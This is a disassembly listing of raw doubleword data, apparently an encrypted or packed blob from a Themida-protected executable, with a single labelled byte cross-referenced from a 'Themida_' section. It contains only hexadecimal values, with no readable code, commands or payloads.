dd 0EE321566h, 0FF6F5E7h, 6EB79C07h, 1E35FE9Eh, 883214E0h
dd 0C13DE066h, 22321574h, 113BFC06h, 39A61566h, 95CA2E4h
dd 428557C8h, 94F47407h, 8FD6394Bh, 4437FC34h, 76B31566h
dd 79122E13h, 7570A18Ch, 44321B8Fh, 0EC5B466h, 0C47BDC44h
dd 0B0F20955h, 243B00FFh, 2D9ECFE6h, 0EE53D2D9h, 6C3388D3h
dd 443EFC61h, 8CD41566h, 0D9265203h, 8AD96F3h, 0C1BF579Ch
dd 25D62EBAh, 113A9F69h, 73D1566h, 44321564h, 0F2CD7406h
dd 113A9769h, 53D1566h, 44321564h, 0A7BB7406h, 16D634EFh
dd 0A5B7D39Eh, 3335F14Ah, 22339D69h, 79C71566h, 7BA5BDC5h
dd 4432058Fh, 0B2210066h, 45CA7782h, 2E9943F4h, 9CDEEE75h
dd 0C387EA85h, 0F835F17Bh, 8832156Eh, 351F6B8Bh, 0C3D55316h
dd 2AEE90EBh, 77CE1282h, 0C1BBEDB6h, 25D61AE7h, 113E9269h
dd 23D1566h, 44321560h, 22329C69h, 94F41566h, 8FD6394Bh
dd 535AE034h, 42B8C857h, 11309E69h, 0E9521566h, 4432048Fh
dd 12775966h, 0E93640C5h, 97EFCDF0h, 0BB51B40Bh, 0DD53A02Bh
dd 0F53388D3h, 0DBFE961h, 43D62EBAh, 22369C69h, 0A0521566h
dd 58CD7423h, 0FDB79C9Fh, 4235F143h, 11321B8Fh, 3BA90E66h
dd 63A4343Eh, 0E9DDAEDDh, 77C2E2A3h, 4E53D3EDh, 0A01E38E3h
dd 2D524361h, 973DD7D1h, 88321565h, 25C3A269h, 3D5F2C0Eh
dd 0CBB975B2h, 78B97306h, 44329469h, 43531566h, 3073A099h
dd 5CB1282h, 0A382B2E3h, 23BD1A61h, 0E9321566h, 83DBC599h
dd 0EA321566h, 9413ED73h, 0C3F11E75h, 0DBBDBC4h, 43D60A53h
dd 222E9169h, 963D1566h, 88321570h, 4432048Fh, 0DE322F66h
dd 53128143h, 62FBF0CFh, 0AB6A54A1h, 0A7F4C768h, 16D6394Bh
dd 9EB71A21h, 0AD321566h, 22321577h, 0E597AF3Bh, 12B33A9h
dd 5B028418h, 0B43B120h, 1487D9Fh, 87DB94BAh, 6A321566h
dd 97B3A694h, 965C44A9h, 740E0EDAh, 0F1CDC5A7h, 25D614FBh
dd 11321B8Fh, 1BD92F66h, 99E0215Ah, 0E2917867h, 9C03355Fh
dd 6C09C9E3h, 57BB1A61h, 0CB321566h, 11321568h, 454BF9ECh
dd 0F4EF2E56h, 0ECBE433Bh, 0C1CDDB99h, 88339369h, 0CDCE1566h
dd 0C62764E3h, 94F4E961h, 8FD6394Bh, 41BD1A21h, 42321566h
dd 70EAAA69h, 8787F70Eh, 43B61AECh, 2D321566h, 113214E7h
dd 3DCDE066h, 43D614FBh, 2232188Fh, 615E1066h, 0DDE66AEDh
dd 0D244D629h, 0A7BFBFB8h, 16D62EBAh, 8832108Fh, 3800B266h
dd 0F2CD576Ah, 7DB79C9Eh
dd 6135FE9Eh, 44321576h, 0DF450A01h, 761D9867h, 0E520BF75h
dd 0E05F1D10h, 43C7EC06h, 0BDB90A1h, 884A1282h, 0ADCB1566h
dd 22321574h, 0A5A4299h, 973FBDBEh, 8FBA2E3Bh, 3F73A7BAh
dd 0ACB18E22h, 8FD6367Bh, 6EB61A66h, 2D32157Fh, 113212E8h
dd 0D2627566h, 25C7DEE6h, 0E1F90A0h, 0F87E1282h, 88321560h
dd 0E41AC277h, 0CB5A22BEh, 1EEBCF7Ah, 883214E0h, 0F1CDE066h
dd 25D614FBh, 11339369h, 5CE1566h, 0A009C9E3h, 0FAB37561h
dd 35249CC0h, 0E9CC9E00h, 4FDBC599h, 0B9321566h, 0BEBDF7BAh
dd 395E2120h, 0C1BB150Ch, 25D9ED3Eh, 1EEB9F06h, 883217E1h
dd 25C29E66h, 0E1F90A0h, 0E47E1282h, 0FCECDB0Eh, 25CE75BBh
dd 22321B8Fh, 0BF597866h, 4D9C9376h, 0E6272D9Ah, 0DD8461C1h
dd 0F53388D3h, 53D7561h, 44321564h, 0F8B26AD1h, 1E527444h
dd 883216EAh, 97B97366h, 0FEB79807h, 0E835F15Dh, 73DC599h
dd 4432156Dh, 0E98D1A06h, 0D4A6E5E7h, 61534432h, 4432156Ch
dd 0AD11CD4Ah, 79F98120h, 0DBB8929h, 43D9ED3Ah, 22321C8Fh
dd 15FB3266h, 92A1DC9Ah, 56DB261Fh, 5B321566h, 0BC3CC52Ah
dd 0A900BFD5h, 3C3C200Eh, 83478F58h, 3CB7D37Dh, 0C435F14Ah
dd 0C60D7D9Eh, 0A33DA2E7h, 11321577h, 8832198Fh, 329D066h
dd 4FEB9C5Ch, 633642CDh, 1587EAF4h, 2435F167h, 4593AA00h
dd 94BF749Fh, 8FD62EBAh, 0ADE2EA9Ah, 22321569h, 0D91459C1h
dd 0F2CCC701h, 0BBA49C07h, 0DAD0DEA0h, 0E95290EFh, 9CDB128Dh
dd 0AE321566h, 444065FBh, 97A6268Bh, 3179575Ch, 26FEECDCh
dd 0E4B80036h, 0F51E38E3h, 0E0CA5961h, 0F71D557Eh, 0BF87EA9Fh
dd 1E35F167h, 883213EAh, 1E627566h, 0AF53F6ECh, 0F509C9E3h
dd 84B01A61h, 4B321566h, 223213E6h, 11BA1A66h, 77321566h
dd 0C4CE75B6h, 0DA5355A7h, 0E95290EFh, 53D128Dh, 44321568h
dd 22321C8Fh, 0D86ADE66h, 2D2DB0C1h, 54DBA8E1h, 0A321566h
dd 43125122h, 0A5F41C45h, 8C0C42Fh, 0E4AC11E5h, 0F51E38E3h
dd 2525361h, 7410AF9Ah, 4A5324DBh, 0ABEC1372h, 7753E906h
dd 0A03388D3h, 9D3D7561h, 70F89EA4h, 0B3EE90EBh, 0F6521282h
dd 0F2CD7486h, 1132068Fh, 95C7D266h, 9C707CB6h, 706F418Fh
dd 92211BB8h, 0E67DDF5Bh, 0BC5A90EFh, 0A83D128Dh, 11321568h
dd 88321C8Fh, 770A2F66h, 7A0B5D97h, 94F4B1D1h, 8FD6394Bh
dd 4420FC21h, 54E11566h, 0DA223C00h, 78FFAC22h, 0E3053D92h
dd 4D7C0895h, 0CD226F0Eh, 8FB71AE7h, 24321566h, 70E29E00h
dd 9B527438h, 51B37387h, 0BB53B131h, 0C63388D3h, 94BFED61h
dd 8FD62EBAh, 4432198Fh, 92914866h, 6156785h, 362DCDDEh
dd 4423FC20h, 28F41566h, 220A2F92h, 0D00B5D97h, 6BA2B1D1h
dd 0DDAA9626h, 113DFCB6h, 2D81566h, 73F254F9h, 71028029h
dd 620711Ch, 0F8B79C9Bh, 0BC35FE9Eh, 0E1F90A0h, 0F8751282h
dd 88321561h, 11457275h, 4AF985E6h, 0FEB59BCAh, 882C9369h
dd 4B521566h, 36DBC5D9h, 51321566h, 606D1F35h, 65B47844h
dd 0AF9A4D12h, 0FAF3ACB6h, 0E943E516h, 45AFA099h, 0AFC71282h
dd 0F509C9E3h, 883CFC61h, 71D11566h, 1D52E371h, 8EADBD1Ch
dd 7E75026Ah, 0C03DC599h, 22321575h, 113F9D69h, 80DB1566h
dd 6321566h, 8F99260Ch, 1EBCC3E8h, 883200EFh, 4422FC66h
dd 0A3F21566h, 6C233E2h, 258218ADh, 81488F13h, 0A7BBAC26h
dd 16D9ED12h, 6AB3EC06h, 58ABFB03h, 0FB7D307h, 5635F14Ah
dd 88359369h, 0CF3D1566h, 22321567h, 0B6E07D9Eh, 77CEC1FCh
dd 0A03388D3h, 0A3547561h, 1EB78DBCh, 553E5D1h, 0A009C9E3h
dd 0DDCEEC61h, 1134FCB6h, 763A1566h, 0EC2855B6h, 0DA4A90EFh
dd 0D7CE128Dh, 6C1E38E3h, 2CCA5261h, 98F32C62h, 8C87EA93h
dd 7135F167h, 7FEE90EBh, 0DDCB1282h, 94BBECB6h, 8FD9ED1Ah
dd 44399469h, 24DB1566h, 65321566h, 8C34EBEh, 998F967Ah
dd 2235F148h, 11A59069h, 2521566h, 93851A8Dh, 0FB7D307h
dd 5635F14Ah, 46E29506h, 2552749Fh, 501F720Eh, 0F9527586h
dd 88321560h, 0E70D4A11h, 0D76C2ABCh, 0E2B87507h, 0E9537406h
dd 4422FC06h, 6ADE1566h, 2F116CCCh, 0FE7914F5h, 16370B08h
dd 0DD53C7F0h, 0F53388D3h, 0DBFED61h, 43D62EBAh, 223E9469h
dd 77521566h, 0F7BE3E7h, 8AD53ADDh, 0F2CD745Bh, 11321F8Fh
dd 0B9E5F566h, 8FC08354h, 0ABE8A238h, 0FACA95E3h, 99DB7561h
dd 0EF321566h, 3DCAE652h, 0CE5ECFF8h, 0BD0EB78Eh, 5B0C62ACh
dd 0FB7D307h, 5635F14Ah, 88349A69h, 17521566h, 4353753Ch
dd 0A2837D9Eh, 0EE529B4Fh, 0FD4BF7E7h, 2234FC06h, 3A4A1566h
dd 0CEC45004h, 0F1CD7407h, 25D614FBh, 77EA9E06h, 1A4EFEE7h
dd 98B79807h, 2D35F15Dh, 113206E4h, 883CFC66h, 69661566h
dd 4AB2A879h, 82370CCCh, 0CF5C04F0h, 0CB3DC599h, 22321574h
dd 1132188Fh, 0AF8F1166h, 82CEDE0Eh, 38CA5D9Ch, 9052C5D6h
dd 47EDD7A7h, 4439FD57h, 0AD0F1566h, 605A9856h, 8059A243h
dd 4438FD2Eh, 0DE1566h, 0C763926Fh, 77C15C19h, 0CD534A3Eh
dd 0C9CA91E3h, 94F4E061h, 8FD6394Bh, 0E35AE025h, 0DEF2632Ch
dd 10AFA099h, 0F3D1282h, 44321567h, 0FEB79893h, 1E35F15Dh
dd 883214E8h, 94CDE066h, 20BF1A06h, 9A321566h, 8837FDB1h
dd 0BD571566h, 0CA2B7D03h, 11321569h, 0A202438Fh, 7E37E3C4h
dd 6753CB29h, 4B09F015h, 1CE7439h, 0AFCA9DE3h, 2234FC61h
dd 85DA1566h, 4BDA2383h, 4432078Fh, 0A57D4C66h, 0C89141A1h
dd 5065FAD1h, 0B9366D02h, 0E4515426h, 0F51E38E3h, 80DB5961h
dd 0FD321566h, 647CB734h, 790EDDC3h, 7354798Dh, 0A587EA9Eh
dd 2D35F17Bh, 113214E3h, 0DBFEC66h, 43D62EBAh, 2237FC06h
dd 5DF21566h, 0EED8730Fh, 810AC3E7h, 28BC1A07h, 71321566h
dd 7EB37406h, 6FE32524h, 0CBE2EA07h, 1132156Dh, 0A15765C0h
dd 0DEBE5733h, 0AB3DCCEDh, 0FACB09E3h, 8838FC61h, 100A1566h
dd 0D1B45A34h, 8A1E2BD4h, 0A41F90A0h, 0B1761282h, 51BC400Eh
dd 10BD1ADDh, 71321566h, 45AFA099h, 2D521282h, 9C53D5D1h
dd 6C09C9E3h, 51B81A61h, 42321566h, 11329C69h, 8FDA1566h
dd 8E321566h, 0F3D4F538h, 706CBFB7h, 87DBC599h, 0DC321566h
dd 3C65A0FFh, 6ED77A2Ah, 0F29405E8h, 0C1BBC61Fh, 25D9EDEAh
dd 113DFD06h, 4FDA1566h, 0DE658449h, 3E192702h, 60E0553Eh
dd 528D1AE9h, 45B21A3Eh, 0DE321566h, 1DBA1A07h, 87321566h
dd 443213E4h, 22B61A66h, 0D7321566h, 6C1E38E3h, 56DB5661h
dd 0CF321566h, 24962FBEh, 940012C4h, 0DEDBB3F7h, 8CAEDA0h
dd 7FCE7D5Ch, 77CEA9E8h, 0A03388D3h, 223CFC61h, 714B1566h
dd 0ADE9387Eh, 9C661B7Fh, 0E2A93FDDh, 2AEE90EBh, 70CB1282h
dd 0CDC7C599h, 0C9CA85E3h, 0EB51A61h, 87321566h, 44320CEDh
dd 2226FC66h, 40561566h, 9C2F8473h, 623A3C68h, 4528CC5Ah
dd 329BBD72h, 0DF4B408h, 43D6394Bh, 0CB52E935h, 1132156Eh
dd 0CB816134h, 0B1B9C3E3h, 4A53DEEDh, 0D7222BCCh, 0D0CB4706h
dd 0D987EA07h, 0CB35F167h, 1132156Bh, 66F9774Fh, 1C34E5A9h
dd 958FF9Ch, 0CDB79892h, 0E835F15Dh, 44321C8Fh, 0D2369866h
dd 2EC31543h, 87DBAC63h, 48321566h, 91742176h, 8DAE9F3h
dd 0E105CF0Dh, 0BB539C89h, 34B31AB6h, 0F8321566h, 88321577h
dd 7DF89A31h, 9E7C4D0Ch, 25359176h, 2B09FB59h, 0C1BBEC50h
dd 25D9EDF2h, 42E99406h
dd 37957E1h, 0F9B1749Fh, 25D6383Bh, 0B61A66h, 87321562h
dd 44321FEDh, 2237FC66h, 82BC1566h, 61927F37h, 44321572h
dd 0C226AAFAh, 0AF80665Ah, 4C956705h, 32D33A71h, 50F7C952h
dd 3D1F90A0h, 61741282h, 44321577h, 0C64FA36h, 48A8DF40h
dd 0F442B248h, 39031DACh, 0EC037D3Fh, 3DBEFF0h, 34321566h
dd 0E704BB9Fh, 0B9AA4965h, 231BD78h, 0D5E99040h, 0D987EA39h
dd 0DA35F167h, 2AEE90EBh, 0B3D1282h, 44321575h, 22321B8Fh
dd 8100C666h, 0CB5C40CBh, 0E57A670h, 42D7C52Fh, 7094F3E6h
dd 0EE52C599h, 4BDBCCEDh, 16321566h, 802AE1C6h, 0C8ED81ECh
dd 0AC6D1F35h, 2D537844h, 113219E3h, 858C7566h, 0FF7D0316h
dd 44CAB1A8h, 0E1B79C07h, 6135FE9Eh, 44321568h, 90737464h
dd 27495ED2h, 1D992E50h, 0C1F4AD62h, 25D6394Bh, 1126FC20h
dd 0EB381566h, 0F3B1B8B8h, 0DEBD2C8Fh, 0CF5234Ch, 0BCD970DCh
dd 925A96D5h, 42CEB25Ch, 11349869h, 63D1566h, 44321566h
dd 22329869h, 0F8531566h, 8832156Dh, 96E1FC27h, 29D83074h
dd 0EE362F5Eh, 6C3388D3h, 0C1BFED61h, 25D62EBAh, 113E9E69h
dd 0C3D1566h, 44321560h, 22329A69h, 0C1CD1566h, 88359969h
dd 0CF3D1566h, 22321567h, 11B79C9Eh, 0E835FE9Fh, 0B0C09400h
dd 0A5B0AC00h, 0D7532019h, 6C1E38E3h, 50DB5361h, 0CF321566h
dd 0C3F7374h, 0AE58B21Eh, 0EEA18CE8h, 0C3AB49F4h, 1EDFE7DEh
dd 883211E9h, 1F617566h, 86327D07h, 9D3D879Ah, 88321567h
dd 0D987EA9Eh, 4235F167h, 7029C4E6h, 0B3EE90EBh, 0CD3D1282h
dd 2232156Dh, 11B31A06h, 0EE321566h, 0BB53D4EDh, 223BFCB6h
dd 0E60E1566h, 6A37FB87h, 0CD628478h, 0C9CB11E3h, 0AE547561h
dd 4E53548Bh, 0A01E38E3h, 0A03D5361h, 1132156Fh, 53851A06h
dd 0E1CAAD00h, 33B01A07h, 0F8321566h, 8832156Ah, 864BBE59h
dd 0F2026970h, 0DB9C1044h, 5C7D7F0Eh, 443EFC90h, 0D1FD1566h
dd 14D206C3h, 0FFF29482h, 0BBC7BA52h, 0C63388D3h, 113FFC61h
dd 0AF681566h, 0ADCC26A9h, 87044D24h, 1E0F115Eh, 883219E0h
dd 42B01A66h, 2D321566h, 113215E9h, 54B79866h, 4B35F15Dh
dd 223204EEh, 1ABB1A66h, 61321566h, 44321560h, 8902C8DDh
dd 0C1CD214Eh, 88339169h, 0CDCB1566h, 0C9CB1DE3h, 1122FC61h
dd 9C621566h, 0B4527475h, 87671F67h, 4779B4A3h, 0DF42054h
dd 43D6394Bh, 3AB91A20h, 0F8321566h, 88321575h, 59938ACCh
dd 87324C82h, 71DF4064h, 9CAB1C2Ah, 2CAE000Ch, 0B6FF4581h
dd 11389F69h, 8DDB1566h, 3C321566h, 0A2B45F66h, 10AFA099h
dd 53D1282h, 44321561h, 0F06FAD06h, 9C532040h, 6C09C9E3h
dd 4434FC61h, 0B7A1566h, 0B4BAD014h, 0EEEA9E06h, 0BCDCF7E7h
dd 42E2EA07h, 11321B8Eh, 0B8D15B66h, 38EFDA97h, 76A00747h
dd 91E8482Ah, 96826ADh, 0DC2A5EB9h, 0A7BB747Ah, 16D9ED92h
dd 0A5B7D393h, 235F14Ah, 223C9C69h, 18DB1566h, 0CF321566h
dd 84D6ABABh, 807C93D6h, 11339669h, 0E0C71566h, 0F510615Dh
dd 2232128Fh, 0BD053266h, 0E79E6CCBh, 45AFA099h, 0A03D1282h
dd 11321571h, 8832078Fh, 34885366h, 1513CECFh, 6DF25590h
dd 21B655Ch, 0BD299C7Ah, 19EE90EBh, 1BDB1282h, 2C321566h
dd 63034788h, 7BC3A74Ah, 71E2EA2Dh, 0DBE3A269h, 256DDAD4h
dd 0DACA90EFh, 18DB128Dh, 7E321566h, 89D3E1E1h, 0E2993DCEh
dd 3D1F90A0h, 61741282h, 44321575h, 24559E0h, 52EAD969h
dd 8016D5BEh, 0EBBF943Dh, 4A401E32h, 0CE4BFF8Bh, 88339D69h
dd 0BBC71566h, 0C63388D3h, 10B41A61h, 7D321566h, 7FEE90EBh
dd 36DB1282h, 9A321566h, 6484553Ah, 0DF601D63h, 0C5C2C3CEh
dd 0ECE471Dh, 0E8F5A7D4h, 8A851A9Ah, 2DE2EA07h, 113219E5h
dd 1A897566h, 2258C394h, 1726F4E7h, 0EDB79C07h, 7D35FE9Eh
dd 6AEFA8E5h, 2D321282h, 113275E3h, 0DB647566h, 4BDB4B3Eh
dd 45321566h, 9DE048B2h, 0C62E14ECh, 0BB6BD8FEh, 0E4530FC5h
dd 0F51E38E3h, 0E0CB4661h, 8A8CF538h, 22339469h, 0EECA1566h
dd 6C3388D3h, 4FB61A61h, 0CB321566h, 11321560h, 8108D22Bh
dd 0C1BF59E9h, 25D62EBAh, 1132138Fh, 0BC727F66h, 0BB4B0C50h
dd 0A7BBEDB6h, 16D9EDFEh, 0A5B7D39Ah, 335F14Ah, 7CB57D9Eh
dd 0EECBD2D7h, 6C3388D3h, 443FFC61h, 0F1E31566h, 70A59ABCh
dd 32D2775Ah, 0C98F3D2Ch, 0C609C9E3h, 943DE961h, 88321567h
dd 4BE2EA9Eh, 223214EFh, 9D3DE966h, 88321567h, 0D8B79C9Ah
dd 2D35FE9Eh, 113214ECh, 35B1EC66h, 43D63BBBh, 51B71A66h
dd 0E8321566h, 0E9C59E06h, 681F90A0h, 0CB751282h, 1132156Fh
dd 0DFFCA161h, 0AE0FF6D7h, 5C377D95h, 7152F304h, 7BB97406h
dd 0FC544607h, 436914FEh, 10AFA099h, 9ADB1282h, 91321566h
dd 65412A49h, 0DA61BA64h, 513E1C5Fh, 0BEAD086Ch, 223FFCA1h
dd 94DF1566h, 0AB43AB36h, 47091B50h, 0AF8C6892h, 0F509C9E3h
dd 3F3D7561h, 25EB9F9Eh, 0ABCAC599h, 0FACAB5E3h, 0DF4E961h
dd 43D6394Bh, 2ADBE025h, 4D321566h, 438F953Eh, 2CA0F495h
dd 0B0481C90h, 11229F69h, 83DB1566h, 64321566h, 2A585C12h
dd 0D97E6437h, 3DCD9ABBh, 43D614FBh, 22339F69h, 9CCA1566h
dd 6C09C9E3h, 94CDE061h, 86B79C9Eh, 7135FE9Eh, 914AAB00h
dd 69B7D307h, 6135F14Ah, 11339D69h, 0E0CB1566h, 0B8138246h
dd 22349869h, 46521566h, 0E9E19E3Fh, 442B9A69h, 36DB1566h
dd 0B9321566h, 894959ACh, 0ED928A05h, 17D51F0Dh, 6AAC1B65h
dd 77F6C6FDh, 0A03388D3h, 0CA52ED61h, 11321575h, 0BFB6D59Eh
dd 43A52005h, 9B99EAF7h, 0BF34CB3Ch, 0D2831F23h, 98B79807h
dd 0CB35F15Dh, 1132156Bh, 27819548h, 3675B6BCh, 0B9AB1305h
dd 0F8E2EA0Fh, 88321575h, 0C37D4CDBh, 0FB9141A1h, 0C965FAD1h
dd 75366D02h, 0CD515426h, 0C9CABDE3h, 0ACB1E061h, 8FD63BBBh
dd 6CB71A66h, 0CB321567h, 11321575h, 25180851h, 0CE371331h
dd 38B2EAE6h, 9836510Eh, 4EC253D5h, 0A01E38E3h, 25DB5661h
dd 2B321566h, 0BA48FC20h, 475A90B7h, 2DB915CEh, 113214EBh
dd 3DCDE066h, 43D614FBh, 22229469h, 1ADB1566h, 0E321566h
dd 0DF66EAD2h, 44131D3Ch, 94BF6C34h, 8FD62EBAh, 4BE2EA9Eh
dd 22321BEEh, 113BFC66h, 0CAB51566h, 2055BFB0h, 0AB39A34Fh
dd 0FACAA5E3h, 8821FC61h, 0ADC91566h, 0B465E8A3h, 0B2FD82ABh
dd 8DD16C8Ch, 0DC608A23h, 223EFCA7h, 7BBD1566h, 327D43B8h
dd 39694159h, 0A7F426ADh, 16D6394Bh, 38CE7525h, 915A74C1h
dd 2DD74E50h, 113200E9h, 8822FC66h, 1F821566h, 0E3C1BE0Fh
dd 7A3480FBh, 8E236B6Fh, 0F1CD42C9h, 25D614FBh, 34F69506h
dd 88B91A35h, 1F321566h, 0A7BFED07h, 16D62EBAh, 81DAEC06h
dd 0B6321566h, 88BEE777h, 0EC1EDD53h, 88329769h, 256A1566h
dd 2D52C599h, 113214E7h, 153E966h, 0AFCAB9E3h, 36B61A61h
dd 0F8321566h
db 69h, 15h, 32h
byte_60351B db 88h ; DATA XREF: Themida_:005851C0o
dd 3D176E96h, 0EF5E0512h, 4EE91A63h, 4EA8C9D5h, 0A01E38E3h
dd 4ACB5661h, 0FB982787h, 88321A8Fh, 8229AB66h, 40DC6139h
dd 7D55378Ch, 0ACA097BCh, 0D987EA9Ah, 0CB35F167h, 11321577h
dd 0B91D729Dh, 31958C9Ch, 7E6B0D4Ah, 0CBB8A2E8h, 54B79856h
dd 4B35F15Dh, 223210E7h, 0A63D7566h, 58CD74ADh, 4432138Fh
dd 0F3093166h, 0F8C67B8Ah, 88321569h, 0B9B6C3B2h, 6F5F06A6h
dd 5C95344Dh, 1A6C20Bh, 0AFCAA1E3h, 3FBA1A61h, 1E321566h
dd 883202E2h, 4420FC66h, 0A3721566h, 940F6162h, 0D213A106h
dd 88F1F890h, 0D59EB44Ah, 3D1F90A0h, 70711282h, 0B59E220Eh
dd 223AFCE2h, 81B91566h, 7D7021CAh, 0F1CD204Ch, 25D614FBh
dd 0CDB7989Ah, 7135F15Dh, 0CA3DC599h, 22321567h, 0A9B79C9Ah
dd 7035FE9Eh, 681F90A0h, 0DB7D1282h, 24A2C10Eh, 3DCDECF1h
dd 43D614FBh, 2232068Fh, 78B74966h, 3F44F74Bh, 6C48AA64h
dd 0B52E2D2Bh, 95AB8C02h, 0B3EE90EBh, 4EDB1282h, 6D321566h
dd 86002DB5h, 5534CA4Ch, 54B61ACBh, 0CB321566h, 1132156Dh
dd 0B4E98B08h, 3FEB9A5Ah, 0DDE5853Ah, 113EFCB6h, 6D341566h
dd 4467E276h, 0B5F43627h, 94BBD7F8h, 8FD9EDDAh, 69B7D39Fh
dd 6D35F14Ah, 1132048Fh, 0D6F47D66h, 0F6701E62h, 6BD08BD1h
dd 36DE4D5Eh, 8A5A80C7h, 4BCB7B68h, 22321DE3h, 13B51A66h
dd 0E8321566h, 0D987EA07h, 4235F167h, 9A54D2EDh, 0DBF74BFh
dd 43D62EBAh, 0DBFD9E06h, 0F8E2EA07h, 88321568h, 0AC08D10Ah
dd 1EAAF251h, 31ADF62Dh, 0DBBEF01h, 43D9EDA6h, 0FB7D39Ah
dd 5C35F14Ah, 0F17B7D9Fh, 24CBDD51h, 43CDA269h, 10AFA099h
dd 9BDB1282h, 0D6321566h, 50C072CEh, 0A6B48E06h, 332BCD74h
dd 21C6FEC3h, 0A7BF40C3h, 16D62EBAh, 88229469h, 4FDB1566h
dd 0C1321566h, 8B920FAEh, 0E13024A1h, 94CD5EEAh, 0EAB79C9Eh
dd 7135FE9Eh, 88321F8Fh, 61DA0D66h, 32DC676Eh, 0A4369220h
dd 0DF474B8h, 43D6394Bh, 0CCB8752Bh, 11321B8Fh, 0E9388066h
dd 0C6C0425Fh, 20E961DCh, 70773A1Dh, 7F7F9C0Eh, 4437FCBAh
dd 86F91566h, 0EE5F7AC2h, 6C3388D3h, 0C9CAEC61h, 0C609C9E3h
dd 1138FC61h, 19D11566h, 44610345h, 75FE09B9h, 0F952C599h
dd 88321574h, 7D68C72Dh, 0EFC898BCh, 2A57DFD5h, 7AE55ED6h
dd 4B6CF964h, 223213EFh, 11B41A66h, 0E9321566h, 0BCF690EFh
dd 36DB128Dh, 0D2321566h, 7ABFD780h, 4A61036h, 4B9774D8h
dd 0E14E436Bh, 4E6D564Bh, 0A01E38E3h, 42524061h, 1132068Fh
dd 0CFCB0266h, 308A569Eh, 12348DA7h, 0DBBE879Ch, 60EFB65Eh
dd 30ACFFE7h, 0DB536606h, 3C057D07h, 8752897Dh, 443214E1h
dd 0A954E066h, 0A4CD749Fh, 8FD614FBh, 44359469h, 0AF3D1566h
dd 11321567h, 54B7989Ah, 2435F15Dh, 0A350D1E6h, 851D0AEh
dd 58CD7418h, 44321A8Fh, 0A2ABC866h, 66E5E352h, 55721C23h
dd 0C243BE11h, 0DAFE90EFh, 983D128Dh, 8832156Ah, 44349E69h
dd 0A43D1566h, 11321566h, 0A41F90A0h, 0AD711282h, 22321574h
dd 0A201E7C8h, 1627E936h, 0D21A9816h, 0D5CD186Eh, 3B5A2A4Ch
dd 7DE0C096h, 45AFA099h, 0AFCB1282h, 0F509C9E3h, 883DFC61h
dd 0BBDF1566h, 5B4F04F1h, 0C771BB3Ah, 0D0833F8Fh, 94CDE059h
dd 22359769h, 933D1566h, 88321567h, 94B79C9Ah, 0DA35FE9Eh
dd 3D1F90A0h, 7D601282h, 4432018Fh, 51BAC666h, 8B29A7D8h
dd 3963DD46h, 35688F33h, 627E9CE1h, 0A5D87DA0h, 80DBE824h
dd 0F7321566h, 8DF9BCA6h, 0EEE01264h, 6C3388D3h, 4439FC61h
dd 1A5B1566h, 0B361AD1Eh, 0F4BA2323h, 98B79844h, 0CB35F15Dh
dd 1132156Fh, 8F67E976h, 0B043FCD9h, 0CBE2EADDh, 1132156Dh
dd 0B4A59146h, 0B6E2F53Eh, 0AB9AE7D3h, 0F5139CE3h, 40B97561h
dd 4435FC06h, 50921566h, 0AA6F8A50h, 5357AADFh, 2553271Fh
dd 0E1F90A0h, 71751282h, 0A2968CDEh, 4AB01A6Bh, 0CA321566h
dd 1132156Eh, 8C072B8Bh, 498D5EBEh, 0BB5A743Fh, 0F8D08D3Fh
dd 8832156Dh, 0CFFE250Eh, 334DFB5Dh, 7114C473h, 7EB37306h
dd 50DA4453h, 75321566h, 0B9EA0E0Eh, 0B36F0A6Bh, 0F6EEDEEEh
dd 0B9760827h, 4E87470Ch, 8CB61A07h, 22321566h, 4371D3D8h
dd 10AFA099h, 93D1282h, 4432157Fh, 22219869h, 1FDB1566h
dd 91321566h, 8EBC4CDCh, 5AC73D14h, 3EA64FA9h, 54B79862h
dd 0AD35F15Dh, 22321569h, 895EF8CFh, 1E66D9ADh, 109311FAh
dd 0DDF505B3h, 113DFCB6h, 0A66A1566h, 69E14756h, 8F411852h
dd 0EC352660h, 5CB79C77h, 4B35FE9Eh, 22320BEEh, 0DB7566h
dd 2F321566h, 7DA70BD8h, 0A41F5085h, 0B84ABA87h, 95A1EFF5h
dd 44329469h, 0E4531566h, 0F51E38E3h, 86DB5261h, 26321566h
dd 7CED67CDh, 0E3FD1585h, 0EF2BF94Ch, 57B51A0Bh, 0CB321566h
dd 11321568h, 0D173C3EDh, 501B979Dh, 859883DCh, 0D35ADCEAh
dd 7483E806h, 45AFA099h, 2DDB1282h, 60321566h, 167DEF31h
dd 2D9C77ACh, 0A7C80066h, 94BFDC01h, 8FD62EBAh, 4432078Fh
dd 7A202266h, 56323E00h, 0E6EC276Fh, 2DA04C90h, 0DDC43F5Ah
dd 19BC1AB6h, 87321566h, 443217E4h, 0AB537566h, 0FACACDE3h
dd 80B51A61h, 4B321566h, 223217E4h, 0D7537566h, 6C1E38E3h
dd 2CCB5261h, 0FD94EB72h, 1132018Fh, 0CC215C66h, 7951AA27h
dd 0E4D7B10Ch, 29491097h, 2855236Ch, 4423FC07h, 7BA61566h
dd 0F03800B6h, 0DE2EBC6Dh, 75C6C2ABh, 0DD4DA0D7h, 0F53388D3h
dd 8822FC61h, 1F0C1566h, 9FD73049h, 0BC8F4F78h, 19EB7046h
dd 4ADB70BFh, 0E321566h, 124D45CAh, 61E07DFEh, 7822F168h
dd 0FEB79865h, 0E935F15Dh, 73D7506h, 44321566h, 0F62CAF00h
dd 1126FC07h, 714A1566h, 0AF003194h, 0F64984ADh, 0FD0845E7h
dd 5CB26C6Fh, 0BB53D812h, 2226FCB6h, 1CCC1566h, 0E54158C3h
dd 0ECE445CBh, 7B5642EDh, 0CC0AE1E6h, 0EE527AD9h, 0E1ABCCE7h
dd 2232188Eh, 0F97E66h, 0C955982Fh, 735FB89Eh, 43527BB4h
dd 94BB7438h, 8FD9EDBAh, 44B21A06h, 43321566h, 3D1F90A0h
dd 876D1282h, 443214E1h, 4A5AE066h, 1EAC4594h, 88321AE3h
dd 42DB7566h, 0E6321566h, 0C25B66EFh, 0E9537534h, 45AFA099h
dd 0AD3D1282h, 11321567h, 54B7989Fh, 0BC35F15Dh, 4452C599h
dd 0AE3F69DEh, 0E8488D7Ch, 0A4B79C07h, 0CB35FE9Eh, 11321577h
dd 474307E0h, 6D233E3Bh, 1858863Fh, 1852C538h, 0A5B7D333h
dd 0B35F14Ah, 22321F8Fh, 4F36D666h, 0D194D41Ch, 0ADD2CE04h
dd 22321577h, 5BC58A36h, 0DD7ED985h, 3CD032F1h, 0E7CFC684h
dd 6A0D7DEFh, 63DD29Ah, 4432156Ch, 0A3CAA306h, 4FDB3196h
dd 3DCD7476h, 43D614FBh, 223CFC93h, 572E1566h, 91990A8Dh
